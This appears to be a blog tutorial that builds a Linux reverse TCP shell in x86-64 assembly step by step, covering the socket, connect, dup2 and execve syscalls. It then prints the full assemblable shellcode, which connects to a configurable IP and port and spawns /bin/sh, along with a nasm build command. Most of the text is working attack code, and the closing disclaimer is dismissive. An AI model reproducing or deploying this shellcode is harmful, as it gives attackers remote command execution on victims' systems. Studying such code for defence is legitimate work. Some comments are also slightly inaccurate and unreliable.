Linux reverse shell in x86 assembly
I wanted to test out some sockets in x86 assembly.
So why not re-creating a reverse shell ?
The idea
My main objective is to create a reverse TCP shell that connects back to a provided IP and port. The IP and port should be easily configurable.
The shellcode should perform various operations:
- Create a socket.
- Connect it to host:port.
- Redirect stdio to the connected socket.
- Call execve to spawn a simple shell :3
1. Create a socket
On linux, the socket syscall is used to create a new socket.
int socket(int domain, int type, int protocol);
For our project, we'll define the domain as AF_INET (IPv4), the type to SOCK_STREAM (TCP), and the protocol to 0 (default).
; socket syscall: int socket(int domain, int type, int protocol)
; using push/pop to both clear and set registers
push 41
pop rax ; syscall = socket
push 2
pop rdi ; domain = AF_INET
push 1
pop rsi ; type = SOCK_STREAM
cdq ; protocol = single, since rdx is cleared to 0
syscall
2. Connect it to host:port
We can now connect the socket to a specified address and port using the connect syscall.
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
Here, IP address 127.0.0.1 and port 4444 are pushed onto the stack in little-endian format.
; connect syscall: int connect(int sockfd, const struct sockaddr *addr{sin_family, sin_port, sin_addr}, socklen_t addrlen);
xchg edi, eax ; sockfd = 32 bit file descriptor returned from socket syscall
mov al, 42 ; syscall = connect
push rdx ; pad 8 null bytes to align with sockaddr
push dword 0x0100007f ; sin_addr = 127.0.0.1, reversed for little endian
push word 0x5c11 ; sin_port = 4444
push word 2 ; sin_family = AF_INET
mov rsi, rsp ; sockaddr = structure in the stack
mov dl, 16 ; addrlen = 16 bytes
syscall
3. Redirect stdio to the connected socket
To redirect stdin
, stdout
and stderr
to the connected socket, we can use dup2 syscall :
int dup2(int oldfd, int newfd);
lopping three times to handle all three file descriptors (0, 1, 2).
; dup2 syscall: int dup2(int oldfd, int newfd)
push 2
pop rsi ; rsi as both loop counter and newfd to redirect stdin(0), stdout(1) and stderr(2)
dup2Loop:
mov al, 33 ; syscall = dup2
syscall ; oldfd is unchanged in rdi, set previously
dec sil ; decrement sil
jns dup2Loop ; loop again if sil > 0
3. Call execve to spawn a simple shell :3
Now for the juicy stuff, we'll use execve execute /bin/sh, thus spawning the mighty shell.
int execve(const char *pathname, char *const _Nullable argv[], char *const _Nullable envp[]);
The pathname //bin/sh is pushed onto the stack in little-endian format.
; execve syscall: int execve(const char *pathname, char *const _Nullable argv[], char *const _Nullable envp[]);
push rax ; push NULL string terminator, rax is null from previous syscall
mov rdi, 0x68732f6e69622f2f ; pathname = '//bin/sh', reversed for little endian
push rdi ; push string to stack
mov rdi, rsp ; set first arg to pathname pointer
push rax ; push another null terminator
mov rsi, rsp ; set second arg to pathname pointer
xor dl, dl ; envp = NULL
mov al, 59 ; syscall = execve
syscall
And voilà ! You got yourself a (hopefully) working reverse shell entirely written in x86 asm.
The assembly
global _start
section .text
_start:
; socket syscall: int socket(int domain, int type, int protocol)
; using push/pop to both clear and set registers
push 41
pop rax ; syscall = socket
push 2
pop rdi ; domain = AF_INET
push 1
pop rsi ; type = SOCK_STREAM
cdq ; protocol = single, since rdx is cleared to 0
syscall
; connect syscall: int connect(int sockfd, const struct sockaddr *addr{sin_family, sin_port, sin_addr}, socklen_t addrlen);
xchg edi, eax ; sockfd = 32 bit file descriptor returned from socket syscall
mov al, 42 ; syscall = connect
push rdx ; pad 8 null bytes to align with sockaddr
push dword 0x0100007f ; sin_addr = 127.0.0.1, reversed for little endian
push word 0x5c11 ; sin_port = 4444
push word 2 ; sin_family = AF_INET
mov rsi, rsp ; sockaddr = structure in the stack
mov dl, 16 ; addrlen = 16 bytes
syscall
; dup2 syscall: int dup2(int oldfd, int newfd)
push 2
pop rsi ; rsi as both loop counter and newfd to redirect stdin(0), stdout(1) and stderr(2)
dup2Loop:
mov al, 33 ; syscall = dup2
syscall ; oldfd is unchanged in rdi, set previously
dec sil ; decrement sil
jns dup2Loop ; loop again if sil > 0
; execve syscall: int execve(const char *pathname, char *const _Nullable argv[], char *const _Nullable envp[]);
push rax ; push NULL string terminator, rax is null from previous syscall
mov rdi, 0x68732f6e69622f2f ; pathname = '//bin/sh', reversed for little endian
push rdi ; push string to stack
mov rdi, rsp ; set first arg to pathname pointer
push rax ; push another null terminator
mov rsi, rsp ; set second arg to pathname pointer
xor dl, dl ; envp = NULL
mov al, 59 ; syscall = execve
syscall
You can try and assemble the reverse shell with nasm
$ nasm -felf64 -o rshell.o rshell.asm
Now, you're grown people, use it as intended, for educational pruposes only blah, blah, blah... you know the drill
Hope it was interesting,
See you later,